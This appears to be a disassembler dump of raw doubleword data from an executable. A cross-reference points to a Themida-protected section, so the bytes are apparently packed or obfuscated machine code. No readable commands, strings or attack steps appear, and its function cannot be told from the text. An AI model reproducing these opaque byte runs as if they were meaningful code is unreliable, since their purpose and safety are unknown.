		dd 0BE000000h, 0E6AC7ACBh, 5B0330E5h, 76D22F72h, 605ADB27h
		dd 0E9F98B66h, 11h, 2B45C976h, 6C82A419h, 0F93C4667h, 0BA0E072Eh
		dd 10E961E8h, 3F000000h, 0A95A228Fh, 0A19E14ADh, 1729176Eh
		dd 0F5DD507Ah, 0BB66CA8Bh, 4DBA4353h, 0E95E73DFh, 9, 81AAA0CAh
		dd 3ABEAB4Eh, 0F08B664Ah, 8E9h,	5D177200h, 72E3B0A3h, 0B5D08B27h
		dd 81665150h, 592477E1h, 5E8BC881h, 81605910h, 0F4DB90C1h
		dd 0CDB45276h, 8166615Ah, 0E8DC0AF6h, 10h, 4CB56CB8h, 7817E7CCh
		dd 3750B4C1h, 29C6CDDFh, 23F9BB66h, 33DA8159h, 0F52FB374h
		dd 66C7B70Fh, 8166F28Bh, 0E927E3F3h, 0Fh, 61AA80EFh, 0C1C05B59h
		dd 8F3497ACh, 804661C1h, 0D68BEFD7h, 0B4F88B66h, 5E842h
		dd 0F7840000h, 80498819h, 0E95808F1h, 11h, 5E437616h, 23BF017Fh
		dd 0B63E7CA4h, 0DD733DC2h, 0B2FE8B78h, 48E180DEh, 0AFDE80BAh
		dd 60B5B752h, 3880Fh, 0EE800000h, 6143B61Ch, 6E9h, 6884A300h
		dd 0E9F59F1Eh, 12h, 98D404E1h, 0E695FDA3h, 0B2DC8BCh, 89BB8DD5h
		dd 5E9F378h, 4D000000h,	0F8645880h, 3860Fh, 0BF0F0000h
		dd 0C1BF0FCBh, 0B83AEDB8h, 810F00h, 0B6000000h,	66C38A8Fh
		dd 6648B5B8h, 0FA86EB81h, 13840Fh, 7E80000h, 0D6000000h
		dd 9EEFA82Ah, 810F876Ah, 0
		dd 12E85Ah, 0A320000h, 7A4B55B8h, 5EB4972Ch, 25F2E02Ah
		dd 296AA08Ah, 0F59DA8Bh, 0CA80D8B7h, 0D4A2BBE9h, 60533149h
		dd 0BA66C38Ah, 58616A5Ah, 80CEBF0Fh, 810FBECAh,	3, 0E9F0BF0Fh
		dd 9, 0A61EF131h, 0E1C4E928h, 0C6BF0F7Dh, 0EE9F58Ah, 2E000000h
		dd 2062FC87h, 0D8DF1CC0h, 9218DF5Ch, 8E992h, 48980000h
		dd 5D64DB66h, 0FB8B06E2h, 0E9D6BF0Fh, 14h, 5601845Ah, 7F269DD8h
		dd 81B48019h, 41E02F30h, 0AA746B83h, 27F4BE66h,	9E9h, 489B3200h
		dd 30EB0133h, 8B66BCE9h, 0DE9D0h, 82010000h, 99C63DE7h
		dd 0CD00F1DBh, 0F9D28ED1h, 80C7BF0Fh, 8A0FF8CAh, 2, 806001B1h
		dd 0F58AC4CCh, 0C3816661h, 3BB4D19Ah, 9EC38166h, 0EE921h
		dd 0D1FA0000h, 0A3B3D41Dh, 0B14738AEh, 99767F3h, 0E676BFF9h
		dd 0E981737Fh, 727A3A8Ch, 3880Fh, 0B70F0000h, 0D38166F3h
		dd 0E9F9C016h, 0Bh, 8F378092h, 1E96B6AAh, 0E8C6507Dh, 12h
		dd 0FE6B1D7Eh, 6F25D9D1h, 76DB08A4h, 0EF37607Eh, 13E9E6D7h
		dd 43000000h, 0BABF42E6h, 0BAED778Fh, 0EB0E66D5h, 5E64CE7h
		dd 8A5B74AAh, 0D6B70FCBh, 7E9h,	2060B100h, 1D987E5Eh, 5E9h
		dd 0B91BE700h, 0E85717EAh, 0Fh,	0F9B4722h, 0A78C8511h
		dd 0FD0EA0CEh, 0F2B5612h, 8Bh, 60585B00h, 80CF8B66h, 53611AF4h
		dd 10E8h, 26CDBF00h, 146E4CEFh,	20829081h, 87471E20h, 0C2B70F0Fh
		dd 80575F5Fh, 0B859B1DAh, 1EE7EEDFh, 97B4D18Bh,	6E9h, 1F2C2200h
		dd 81CEC0E2h, 4AEE92D3h, 0D38B6622h, 7DCFBF66h,	0AE9h
		dd 8332EC00h, 0E63EAC12h, 8BA227D7h, 58BA66D1h,	0F1BF0F28h
		dd 820FF860h, 4, 528ABF66h, 3850F61h, 66000000h, 12E9C38Bh
		dd 28000000h, 6B04006h,	0D89AE318h, 298BCA91h, 0D48E7B43h
		dd 8830FAAh, 0F000000h,	280h, 66FB8B00h, 814667B9h, 27022ECEh
		dd 0AE90Bh, 59540000h, 0C1FEDB10h, 10CF0EC2h, 0C6C8CDB9h
		dd 5E829h, 0A7C20000h, 60F91DD4h, 61DA8B66h, 45C18058h
		dd 0E9C88B66h, 0Dh, 0F40CAEEFh,	0C2DE3E54h, 0A3D62D55h
		dd 8830F63h, 0F000000h,	28Ah, 0E9595600h, 5, 4BADD61Fh
		dd 0FEBF0FB2h, 60F28B66h, 11E8h, 79C2DA00h, 0A6648E4Bh
		dd 0C862D486h, 4E99F303h, 0B9664F33h, 0B05882C5h, 8E961E0h
		dd 0F7000000h, 0ABE3F77Eh, 509D34BDh, 0D559D181h, 0F5585CF8h
		dd 0FFF835BEh, 1022BA40h, 7DBF1D0Ch, 0B527204Dh, 0BAD88B10h
		dd 0E37855Fh, 6E9h, 8A4D7200h, 0B8C86E58h, 4F119A8Bh, 20F08166h
		dd 80EA80D6h, 287E281h,	870F55B2h, 2, 0BB666DB4h, 8B662BBBh
		dd 0DBEA81D3h, 6659CF44h, 8A0FFB8Bh, 19h, 13840Fh, 0EE90000h
		dd 0DF000000h, 5DB1E9FFh, 0A43AD8EDh, 3207A235h, 5FCF811Ch
		dd 664B492Fh, 0DD10F781h, 0E86ADE80h, 5, 0F161D2D0h, 0DABF0FAEh
		dd 0DBB86659h, 5E90Ah, 2B950000h, 0E9860889h, 13h, 2DFDABA3h
		dd 5AAF332Eh, 23013B74h, 1025906h, 0E8F97B24h, 9, 2D54B91Dh
		dd 6880BD1Fh, 11E9AAh, 29130000h, 0CC52EB1Bh, 4A18272Dh
		dd 9954358Eh, 5E2E8969h, 43FD8CB9h, 8E953h, 6B340000h
		dd 5BB67977h, 7FBEA627h, 8B172630h, 8A0FD8h, 0B6000000h
		dd 5810F1Ch, 0BE000000h, 2D2F7D40h, 0BE9h, 0F40DC700h
		dd 0AE749F17h, 0B885454Bh, 58F78166h, 2840FC6h,	8B000000h
		dd 168C0FC2h, 0E9000000h, 11h, 9F163741h, 0A231677Dh, 92B3156Bh
		dd 0B8DFBC2Bh, 8BF9B550h, 814AB0C3h, 151CF9F6h,	0BE912h
		dd 22DF0000h, 0ED18204Ah, 825DC465h, 0D980F5ABh, 0FF5603Ch
		dd 86h,	0B9666100h, 0F7BB15D6h,	603CE38Dh, 850F60h, 0F000000h
		dd 89h,	8E0F6100h, 14h,	0FE9h, 8FBAF00h, 15B26878h, 7294FFF4h
		dd 0C2063A82h, 57F78B61h, 0BCC68166h, 11E95A3Eh, 0E3000000h
		dd 0BC512DDEh, 0C484AFBDh, 85FEB712h, 0A0D618A3h, 0AE9h
		dd 74061400h, 0C4740D47h, 60547E02h, 0D9BF0F51h, 0D681665Ah
		dd 0BF61825Ch, 2145855Bh, 0B751D8B4h, 8B535EDAh, 8BB95FC1h
		dd 0F2628C0h, 13BEFBBFh, 0E95D1B8Ch, 9,	21041C97h, 12B1848Ah
		dd 0F8BF0F02h, 37D88166h, 0E6CE81BAh, 0B966401Bh, 4B940556h
		dd 5E9h, 4A007800h, 81608086h, 0F1EFA5F7h, 0D8B70F70h
		dd 382BE61h, 0CF8B20D1h, 0B7F5BF66h, 7E9h, 69A05F00h, 0F57E0572h
		dd 424DB866h, 2800Fh, 0C68B0000h, 774C71B8h, 99E9801Bh
		dd 0CA8BCB8Bh, 8BF08B66h, 0C18BFCCAh, 10E9h, 0F7CC3C00h
		dd 60FDE4F1h, 0A888A2BCh, 66115E5Dh, 0B8665382h, 0F5FEFBEh
		dd 0C38BC0B7h, 0F8B70FF5h, 880Fh, 8B660000h, 0CB8166FEh
		dd 0F580C869h, 10E909h,	3B9C0000h, 0C0D46CA9h, 3D65FCC0h
		dd 995766CCh, 0EE9A71Ah, 5A000000h, 0A76B043Eh,	1D037227h
		dd 0A48F515Eh, 560FB128h, 840Fh, 605E0000h, 98EAD781h
		dd 66572B5Eh, 615FFA8Bh, 7880Fh, 0BA600000h, 49DC0CBEh
		dd 66C28B61h, 0DC35E181h, 2810FFCh, 0B5000000h,	7F08102h
		dd 0F530A15Bh, 19860Fh,	14E90000h, 6000000h, 15D25C5Dh
		dd 594C1094h, 0B03EEE98h, 37AE68F4h, 0FA154DDh,	88Bh, 2830F00h
		dd 0B3000000h, 11E825h,	180F0000h, 0C77A8CA2h, 0E2A7C0D1h
		dd 23ECD4F8h, 81898D83h, 0A88628D7h, 0B70F5934h, 0CB8B66C0h
		dd 860FF2B0h, 4, 0C0A5B866h, 6658F552h,	66F9D08Bh, 0EE9F18Bh
		dd 0AC000000h, 4CD4980Fh, 0DB912BDDh, 734AE749h, 80F78B60h
		dd 816645E1h, 0F92D0EEh, 58Bh, 134FBB00h, 820F1B13h, 1Bh
		dd 0FE8h, 63197000h, 0E9E17837h, 0E8A526B3h, 0D5E9EB28h
		dd 8D0Fh, 0BB5F0000h, 18CD8EBCh, 0B70FD88Bh, 56BF66DEh
		dd 2880F48h, 8B000000h,	0D78B66C2h, 0C38185B4h,	7CEBC1C5h
		dd 2ACF8166h, 0CB8BF8B9h, 8B60C980h, 4840FCEh, 66000000h
		dd 0BA2A55B8h, 3EA6FF5h, 8AC88B66h, 66D78BC2h, 0B866D18Bh
		dd 5E880BDh, 0C7000000h, 0C57F02F7h, 48D0Fh, 0BB660000h
		dd 815A4B81h, 0E6A3D9DFh, 12E957h, 0FC560000h, 0D0461323h
		dd 37616078h, 890CD9B6h, 0A24753ABh, 3D8DCE81h,	0B70F74F4h
		dd 6860FD3h, 60000000h,	58505E52h, 0FC4AB161h, 52FB8B66h
		dd 6880Fh, 0F6810000h, 15EDB9E8h, 810F505Bh, 2,	8B5A5A52h
		dd 3B8F8F7h, 806045D4h,	0F98BCBC2h, 0A00D181h, 820F59E4h
		dd 2, 13E9C28Bh, 0D3000000h, 6B1A9559h,	0E25A756Dh, 3E1A466Dh
		dd 6EA6BCC4h, 49B9630Eh, 8066A84Eh, 0C4BAECE5h,	6071F6D6h
		dd 0CAE8BA66h, 61FA8B66h, 0F860Fh, 6E80000h, 13000000h
		dd 0E566FADCh, 0F0BF0FB0h, 5860F59h, 52000000h,	5EFB8B66h
		dd 4FB9D78Bh, 6000E9F8h, 5E8h, 846DE800h, 0B9668C82h, 6659B6E7h
		dd 61C49EBFh, 8166C68Bh, 81E444C3h, 0C09CC1D8h,	0CE85Fh
		dd 0AC840000h, 2D50EA48h, 95145223h, 97B90A37h,	5B19BB34h
		dd 2B73F081h, 8166799Bh, 0E933E2E8h, 14h, 5580008Eh, 99D49363h
		dd 2BB05BE9h, 8D6CD09Ah, 6165386Ch, 52F28160h, 0F5545FAh
		dd 6061FABFh, 0D381F560h, 157CB646h, 0D1E38061h, 8B666061h
		dd 61C88AD6h, 66F1BF0Fh, 5771FCB9h, 0E850F5Eh, 60000000h
		dd 890Fh, 8C0F0000h, 0
		dd 0E8585661h, 0Eh, 326960F0h, 0B5CCDAFEh, 0E754ABACh
		dd 0C88BB12Fh, 0BE959h,	3ACA0000h, 0B700BBBEh, 455CFEDCh
		dd 0CE900h, 27DB0000h, 0CDCFE126h, 0FF980036h, 0DC8A6AA8h
		dd 138A0Fh, 0EE90000h, 0CE000000h, 36C81FD2h, 71C47955h
		dd 42C22D49h, 0CDC68103h, 0F94090C0h, 0BE9h, 0A69FB900h
		dd 0A712945Fh, 0E97E9124h, 2880Fh, 0C8B30000h, 12E9h, 0B80A3200h
		dd 2C7A4B55h, 2A5EB497h, 8A25F2E0h, 0E8296AA0h,	13h, 90A6D696h
		dd 4A05C6B1h, 0A31C0469h, 0D7206F21h, 660F1A71h, 375EE781h
		dd 0CE85Eh, 41FF0000h, 34F26920h, 0F750F478h, 0EF81E715h
		dd 737C76A9h, 0B5BE6658h, 830FF814h, 10h, 0BE9h, 9AA8CF00h
		dd 67702BFh, 0F8024625h, 0FFE8B66h, 8Ch, 840FF900h, 3
		dd 0E8D88B66h, 0Fh, 0A56C88C6h,	4926FFB6h, 0DEAF1744h
		dd 665BA2C1h, 5AC739BBh, 0E9FA8B60h, 0Dh, 5CF7D174h, 4B38A20Ch
		dd 319271DFh, 0E9FC6167h, 0Bh, 0F331C625h, 65D7C4E7h, 0E8CF65A6h
		dd 0Bh,	9DF208A5h, 3736DA08h, 0FB63C75h, 8059C1B7h, 0FE961D2h
		dd 0CC000000h, 47CEA425h, 1A4D82F7h, 0B1E13073h, 0D6B88345h
		dd 56151D83h, 12E957h, 0E3DF0000h, 8145BF53h, 542B0A57h
		dd 16B5FE67h, 0E0FCCD0Dh, 66FC585Fh, 14E8DF8Bh,	54000000h
		dd 11E256BBh, 8955782h,	53640142h, 0D79868AEh, 0F569A99h
		dd 386h, 0F88B6600h, 6E96059h, 0F9000000h, 0F2B4359h, 81E38021h
		dd 28C0F61h, 8B000000h,	0C18B66C3h, 61D8B360h, 8A5EF853h
		dd 870FF9C3h, 8, 28F0Fh, 61600000h, 0AFB86660h,	0DBB9663Ch
		dd 9E9610Eh, 0D9000000h, 0C12D8E32h, 4AA1A217h,	6E8C28Bh
		dd 0D4000000h, 8172AD47h, 0E2815846h, 78B8A513h, 0AB1CB866h
		dd 6830Fh, 0F1810000h, 0BF76ADBh, 830Fh, 0CE90000h, 7D000000h
		dd 0C0AE5B4Fh, 0EBC5E79Ah, 0B9ABF1D4h, 7F2BC5BCh, 84BB66F8h
		dd 8ADA8B7Eh, 7E9F9h, 0B0D90000h, 0A01E2319h, 13E9BEh
		dd 954B0000h, 4854FEA4h, 85B8DA02h, 0F07D7EBDh,	88A67EC4h
		dd 5E84Ch, 0C4810000h, 0FBF4DB9h, 285h,	5F5B5000h, 60F7BF0Fh
		dd 0F1F8B866h, 0A5581FBEh, 0F9BB6165h, 0E95F2859h, 12h
		dd 0DF8A140h, 8ADB7C6Fh, 0D0209206h, 16BD2DB2h,	0BF666245h
		dd 8B66B597h, 0F38B56D9h, 6651B35Eh, 806D4BBAh,	816637E1h
		dd 662E4FD8h, 6299F081h, 5E8h, 0E200A000h, 0E95F818Bh
		dd 13h,	0A8CB54EFh, 919802A6h, 21EE450Ah, 0CE262ACCh, 0FFAD371h
		dd 0B4B7D9B7h, 816EF180h, 776B38C6h, 0D0B86615h, 5880FADh
		dd 0BF000000h, 48B11E96h, 74F78166h, 0C0F781FDh, 603621FBh
		dd 0D26EA81h, 0B1B22D01h, 0FADA8061h, 14E9h, 2AE36800h
		dd 6CB196F3h, 58F8267Ch, 0F21F3CACh, 377088DAh,	9E9FFh
		dd 7CAB0000h, 0AB05A1F7h, 80628A6Fh, 816073D5h,	820252D8h
		dd 0C5BA6618h, 665661BBh, 665BC88Bh, 0FF4D1BEh,	68Ch, 60E68100h
		dd 662DA4FCh, 66D588BEh, 74E3D381h, 0AE9h, 52543800h, 0B2F3864Fh
		dd 0E99B2C3Eh, 6, 0ADC83C27h, 38B8FD7Dh, 505A4673h, 6810Fh
		dd 800F0000h, 0
		dd 11E85Fh, 0ADC80000h,	0F3DFFD7Dh, 2181A735h, 0AD6F641Dh
		dd 6666DFCAh, 7083DB81h, 0C8B70F5Eh, 14E8h, 39352500h
		dd 10F4B8C3h, 75F39FECh, 4038A100h, 0A24645F2h,	8166563Ah
		dd 59256CD6h, 72C7815Fh, 0F8464A76h, 0A7001EBAh, 6830F16h
		dd 81000000h, 7AC1EBCEh, 1AC9815Dh, 526B31D2h, 768AF081h
		dd 515E71D1h, 3DB1F181h, 0F5E5651h, 850FF0BFh, 3, 0FF98B66h
		dd 8057F0B7h, 8B5A7EF5h, 860F60C7h, 2, 0AE9F58Ah, 55000000h
		dd 97D80076h, 0CA9AE530h, 8B666146h, 0F09B6D1h,	383h, 0F6BF0F00h
		dd 0DE960h, 1B7A0000h, 9FB3F0C2h, 8B827D30h, 60D1BAE1h
		dd 0AAC1B966h, 81666161h, 52E83FC3h, 11E95BFCh,	6D000000h
		dd 0D7001B30h, 0C1F64651h, 563C150Ah, 0BE70992Dh, 6E9EF8Ah
		dd 39000000h, 0F268B847h, 0C8E0F3Dh, 0F000000h,	68Eh, 890F00h
		dd 8B000000h, 26B866D9h, 0B4BE6683h, 0DE8AF8D9h, 0EE9h
		dd 0E47D0A00h, 0A8B22DB9h, 0F0F4D807h, 0E98968B5h, 13h
		dd 68400E4Dh, 0F30216Ah, 0BDBEE45Ch, 0CCD9D29h,	603E6BDDh
		dd 8E8h, 74AB0C00h, 3AC2F56Ah, 61F95F46h, 3820Fh, 0DE800000h
		dd 5753FCDFh, 5A60E680h, 66D0B158h, 6AD5F381h, 0E956D98Ah
		dd 5, 78B4A933h, 0F18B5E74h, 622442BAh,	148A0F36h, 0F000000h
		dd 0E83h, 9E900h, 667E0000h, 3D4B26A1h,	0B29A6442h, 95B96606h
		dd 0FFBF0F50h, 0B6C18166h, 0D38B6694h, 1389C081h, 0A2B33EE7h
		dd 9E8h, 0C2DE3E00h, 0A3D62D55h, 0E38AC163h, 0D9B70F5Ah
		dd 10E9h, 0DFF24200h, 0B47B31DEh, 2B305DD2h, 8540211Ah
		dd 0E9AEB575h, 0Ah, 8338AAF1h, 7D779FD0h, 666009CFh, 7F63C081h
		dd 7CC28166h, 0CCBA6156h, 0F66E624h, 58Ch, 0E2816600h
		dd 8F0FCCCCh, 0Ch, 6870Fh, 810F0000h, 0
		dd 0AB27BB56h, 535B190Eh, 68C0Fh, 860F0000h, 0
		dd 4810F5Ah, 66000000h,	663105BAh, 261FF181h, 0CE9h, 16164C00h
		dd 6D8AD068h, 25C5615Eh, 5830FC3h, 53000000h, 59D98B66h
		dd 62E98150h, 594CB21Bh, 0DFB70F57h, 0EE95Ah, 0A120000h
		dd 0DABD0998h, 0E53F11C9h, 7403BB0Fh, 0B70FDF8Bh, 816660D7h
		dd 0B2EA13F3h, 0C1816156h, 55DD6BEFh, 0B866CE8Bh, 12E81FF8h
		dd 0C000000h, 5A0DA5CDh
dword_5BA268	dd 87D206CAh, 44058050h, 70056443h, 0EEC1810Ah,	5F42D0EBh
					; DATA XREF: Themida_:0055268Fo
		dd 6ADA8166h, 9E9D4h, 2EA50000h, 0FD0AB9FBh, 0F557036h
		dd 180h, 0E951F900h, 9,	0B8FB7FB8h, 719A727Ch, 820F5FC7h
		dd 4, 7C51BE66h, 0C7C68166h, 1820F2Bh, 0F9000000h, 0EB816656h
		dd 665F2391h, 6656DE8Bh, 575AD18Bh, 58E0F5Eh, 0B8000000h
		dd 0F03F4E7h, 1EE28166h, 0E981667Bh, 0F181974Dh, 32049274h
		dd 5CAD7AB9h, 0F2D68174h, 56136478h, 5E0CDE80h,	2E51B866h
		dd 870FA5B4h, 14h, 0FE9h, 9E56DF00h, 2F527473h,	926EA2B2h
		dd 82E20198h, 90DF8152h, 5F3833D4h, 0B1DA8B66h,	0CE911h
		dd 0CD110000h, 3E4F9AD8h, 24B89327h, 11E9F0C0h,	30000000h
		dd 0ED2BA960h, 0FA4C4E6h, 1DBD8A80h, 32E518A8h,	3AA1F681h
		dd 0FE80435h, 49000000h, 0DFEEDBE0h, 0D9CA2FBAh, 3980F4A8h
		dd 0F78BD860h, 0DA816659h, 14E94889h, 32000000h, 162904E4h
		dd 0EDE97309h, 0DCA483ACh, 0EF5BFE15h, 5085A06Bh, 5E950h
		dd 8D8A0000h, 5865CCAAh, 1D8F0F59h, 0E8000000h,	14h, 979CF791h
		dd 31CB4BE4h, 0C7D9D3DEh, 816E43C6h, 0C777992Ah, 59C1BF0Fh
		dd 11E8h, 7B870300h, 78FFE832h,	4743D599h, 0D2A55052h
		dd 0F0804DA4h, 7E8594Bh, 34000000h, 805CCB08h, 0B8664291h
		dd 0B05F1B98h, 1ABE57B8h, 5A7364E7h, 8AC68B66h,	8EE881F8h
		dd 663C1A8Bh, 8166C18Bh, 666684F0h, 0E39ED981h,	80DDC180h
		dd 14B184C6h, 3860Fh, 8B660000h, 816053FAh, 0F8D510D6h
		dd 5658617Ah, 3830Fh, 8B660000h, 9E85FF2h, 5D000000h, 2F84F8B2h
		dd 75BBC9F4h, 5ED98B66h, 870F6056h, 0
		dd 58615952h, 14E9FA8Bh, 90000000h, 0B5082E20h,	0D6160CF0h
		dd 58DAA226h, 0F720CF1Eh, 0FABB7E5h, 48Fh, 24BB6600h, 0D8B70FB4h
		dd 604AE980h, 0FAB70F60h, 9BC08166h, 0E96161E4h, 0Bh, 0A92C140Bh
		dd 0EABE5BBFh, 81CAFDF6h, 62201EC8h, 0BE665225h, 0F55A1A89h
		dd 2521F381h, 0F781534Dh, 317E819Ch, 9E8h, 5C375700h, 5EE2C54Ch
		dd 8B60C508h, 0FB8B66D8h, 870F5861h, 11h, 5E8h,	0FAA5A800h
		dd 820F6AB5h, 0
		dd 7E85Fh, 0B8210000h, 9B0645B2h, 9E9FCh, 4D470000h, 6772238Dh
		dd 5BB2883Ch, 947A05B8h, 4860F2Eh, 66000000h, 0B8F66DB9h
		dd 3D9D158Eh, 8166FDB3h, 667F24CEh, 814E85BEh, 0C8BF51EBh
		dd 0EE959h, 886F0000h, 0BF9E6ACFh, 2E8D46E6h, 6770D853h
		dd 0C3B70F60h, 0CEBF0F61h, 0C880Fh, 0BB600000h,	7C42D541h
		dd 0DAD889BEh, 0E781611Fh, 76FAB477h, 8BF8BF0Fh, 0FC5FB2D8h
		dd 664BC580h, 575267B9h, 25EBEA81h, 0BE5A3AA2h,	49BA2726h
		dd 6652E88Ah, 5E3062BFh, 8FD51FBBh, 5E903h, 12A50000h
		dd 80EFF0EEh, 0B70F50D1h, 3CEE81D6h, 0BE0E004Ch, 4D4E55C6h
		dd 66D3BF0Fh, 0D01ACE81h, 0C840Fh, 7E90000h, 0D4000000h
		dd 5C9ADF8Eh, 0BE90881h, 0D9000000h, 477538DCh,	5A6FFBE4h
		dd 8A0F53B4h, 6, 800Fh,	81660000h, 6043E2C1h, 38A0Fh, 8B660000h
		dd 860F61FEh, 1Ch, 10E8h, 9F10DD00h, 424665B7h,	4761105Fh
		dd 9D6CC050h, 800F92h, 5F000000h, 5810Fh, 81660000h, 0F8A288DFh
		dd 0EE9h, 7B27D600h, 5FDA4392h,	6E2F1E38h, 0E9153435h
		dd 6, 0CEA78C85h, 0BAFC0EA0h, 0A92D4E4h, 66A2E580h, 8166C68Bh
		dd 6009DEF0h, 14E9h, 1F130A00h,	0C58FF803h, 0C3801E03h
		dd 0A79217B1h, 7F70C0A4h, 0DE863h, 22A60000h, 134418Bh
		dd 7C53B266h, 59F978DFh, 4EB2BF61h, 0B70F64B4h,	0C38B66F0h
		dd 7AE18166h, 9AB05647h, 0B70FF559h, 0D88B66DBh, 7D2D57BBh
		dd 5CBF6608h, 0AE836h, 0D19D0000h, 26BEFFFEh, 6153CD9Ah
		dd 0BE95Eh, 0F1D10000h,	494C20BEh, 0ADBED4F2h, 3CBF56E3h
		dd 5A7B6EC8h, 0AE8h, 0AC40B200h, 7FA13104h, 66B8EE6Ah
		dd 5E37BDBFh, 8B665253h, 0E95B5FC2h, 0Eh, 0CBC6FF96h, 9DD2F4E2h
		dd 3F6F4628h, 0D6813CB3h, 6CFE65F8h, 80C0BF0Fh,	10E848C6h
		dd 3B000000h, 4D3DECCEh, 0D635A07Bh, 0DABCB8BBh, 0F9C3FB2h
		dd 605FDEB7h, 61BBEEB3h, 61228565h, 0BE9h, 0D3301500h
		dd 0C884030Bh, 0FDD03165h, 18E0Fh, 80F90000h, 0DE8BDC4h
		dd 8000000h, 4CC8558Fh,	4920E171h, 0F4917A8Eh, 0F48A4EBBh
		dd 0C78B5B11h, 7FEE8166h, 13E96024h, 0AB000000h, 0EB75848Eh
		dd 0BE425FE4h, 8D741473h, 3D5389E4h, 10E8031Ah,	0D5000000h
		dd 0A3D9A7FDh, 5C7ADB0Ch, 0B1A725E1h, 660D3AD3h, 8902E381h
		dd 840F615Fh, 5, 97E0FDBEh, 12E944h, 0E4330000h, 9489BFE7h
		dd 98192714h, 0AEF0A7AEh, 4D811B8Fh, 228F0Fh, 7E80000h
		dd 7E000000h, 0BABE2B04h, 10E965B8h, 0EE000000h, 9E073E2Fh
		dd 4084BBB2h, 0A6A7B44Eh, 5B73D957h, 7E9h, 15BC6900h, 0FE74EFDEh
		dd 0B660F28Bh, 0F18B66E7h, 0D08B5361h, 9DBF665Fh, 14E96071h
		dd 3A000000h, 441851F1h, 0FE5795B4h, 0A5C74E25h, 36394E7Fh
		dd 60E712D4h, 0BB31D980h, 15D67D2Dh, 10E86161h,	0C1000000h
		dd 3A67E065h, 3FE0CDA9h, 0DF3467FAh, 0BA0CE9A0h, 3D1C4626h
		dd 0EF816658h, 870FACEAh, 5, 38EA8166h,	6E915h,	0EAD30000h
		dd 37F381C9h, 0A8A0Fh, 60600000h, 55C88161h, 6116AB14h
		dd 5E9h, 0C2A9200h, 7ABE72B0h, 0B504DDA5h, 66DE8B99h, 0CB8BDF8Bh
		dd 0DF4AD781h, 0B960745Ch, 65F7002Bh, 880F60h, 61000000h
		dd 7820F61h, 0F000000h,	18Ah, 8166FC00h, 666AEFE6h, 6660C3B9h
		dd 0E8ACCB81h, 66F2BF0Fh, 0F5CBFFBFh, 0B70FF8F9h, 2DC781CAh
		dd 0F7B50ECh, 489h, 0E2BB6600h,	0BA6060BCh, 3A353F85h
		dd 13E8h, 0A62ED600h, 852B41B8h, 4395080Eh, 1B2A3B87h
		dd 8C92392h, 800F615Ah,	0
		dd 0D98B6661h, 6830F53h, 81000000h, 684F1CC3h, 81665877h
		dd 81099ADBh, 84263E0h,	0F38B663Bh, 12E9h, 56877800h, 552E9756h
		dd 3BD21261h, 343B1B7h,	0F1077BCh, 986h, 38C0F00h, 0F000000h
		dd 8060FBB7h, 816677F3h, 61B8C6D0h, 820FC38Bh, 4, 987EBB66h
		dd 11E853h, 0E34B0000h,	0FA67209Fh, 0ACE45AFFh,	8B00BF28h
		dd 0B00DEA6Fh, 0E85F58F4h, 0Ah,	1E629A0Dh, 0C869A611h
		dd 8B66AAD0h, 0B3BF58C6h, 513D44A3h, 10E9h, 1BAD2600h
		dd 60C9ABEFh, 1F3D7688h, 5E176D8Dh, 5EBA5E2Bh, 0B545D46Eh
		dd 1C97B985h, 0FEBF0563h, 0E954CB82h, 11h, 161AAE15h, 19A7BD84h
		dd 75D27C18h, 0E6283D69h, 17830F69h, 0E9000000h, 12h, 73768628h
		dd 0CB12B0ECh, 0CA4C0B3Eh, 23C7ECF8h, 0DE98E2Ch, 32000000h
		dd 0B0B28557h, 1FC6DBB8h, 0BC63F9Ch, 632572B9h,	0E1816653h
		dd 0BB668933h, 0BB669A44h, 0D7819B17h, 5A6EE259h, 5E960h
		dd 0E8A10000h, 619B9F84h, 66D18B66h, 609616BAh,	7B4DC381h
		dd 0B8660493h, 6661F73Ch, 0F9C43CBBh, 0FB74D081h, 14B91E79h
		dd 0E93489B5h, 0Bh, 4FD11C72h, 0E1C2B28Fh, 0BAC9EAD3h
		dd 419B4DD7h, 0F9DFB70Fh, 840Fh, 10E80000h, 0C5000000h
		dd 0FF8EB447h, 269908Eh, 74895F71h, 80988D60h, 0E85968F3h
		dd 10h,	996B760Eh, 0C6C6A056h, 76CEE51Ch, 0DBE2F02Bh, 7C30BF66h
		dd 0D3BE665Bh, 17880FD4h, 60000000h, 0CE8h, 117A0E00h
		dd 9580BCAh, 7C13A17Dh,	0B70F5E1Fh, 0D88B61D3h,	81FBB70Fh
		dd 0F66A3FF1h, 810FB339h, 2DB3BCAh, 7C74BB04h, 890F749Eh
		dd 4, 0D08BE66h, 3840Fh, 8B660000h, 0F1EB81FAh,	8120F818h
		dd 9AF7EAE6h, 6830F5Bh,	81000000h, 64687DD2h, 6652F834h
		dd 815EDE8Bh, 0EA0480C9h, 6FCC8072h, 0FF8C58Ah,	840FFBB7h
		dd 3, 0FC3B70Fh, 0C580C8B7h, 7BB9667Ah,	1206BA3Ah, 0F681135Ch
		dd 3E02395Fh, 12BE6651h, 0FCB3585Fh, 8D0Fh, 0B8500000h
		dd 5D760BBCh, 0D8BF0F5Bh, 91BEC28Bh, 6030FEE4h,	8B6632B3h
		dd 830F61F9h, 7, 66616060h, 0B061C78Bh,	8B585747h, 39C280C3h
		dd 0E9FE8B66h, 5, 0F25F14ACh, 0DF8B661Ah, 9319BA52h, 805B4454h
		dd 0D18027DFh, 0FEE58035h, 5BBB66F9h, 0F5FB8BA1h, 8E8h
		dd 0F59E8000h, 0EFF1509Eh, 616057A1h, 0B70F5F59h, 12E9C9h
		dd 7D0C0000h, 65BCD9C6h, 0E633B7FDh, 0B44DCC72h, 3DF3C73Ch
		dd 7AC78166h, 0CE8F2h, 6F3E0000h, 372300E7h, 613878B8h
		dd 8D0FB7DFh, 2, 66595F56h, 0F85265B8h,	6BDE8166h, 12E96Ah
		dd 46030000h, 0E3D7C2C0h, 28DCA9CBh, 19B30ACFh,	0D3CC78DCh
		dd 0C8D0Fh, 890F0000h, 6, 840Fh, 8B660000h, 8B6652CFh
		dd 880F5FD6h, 15h, 10E9h, 0F881AC00h, 29A8946Dh, 428C2A12h
		dd 9C8071DDh, 0F08B66CEh, 2B0ED981h, 0EE82A06h,	15000000h
		dd 2A986529h, 0B4FD50DAh, 8739316Ch, 0F5FF581h,	0F781CABFh
		dd 5AD86410h, 39D08060h, 28C0Fh, 61600000h, 14E861h, 0E3400000h
		dd 0F9AFE8C2h, 625019EFh, 73DA5F2Ch, 89D70870h,	0FE82D7Ch
		dd 0E4000000h, 7397416Ch, 0D6E7A5BFh, 0FE82245h, 595AEA04h
		dd 718CDE81h, 0E9531D22h, 5, 4BB56504h,	8F0F589Ah, 5, 38DF8166h
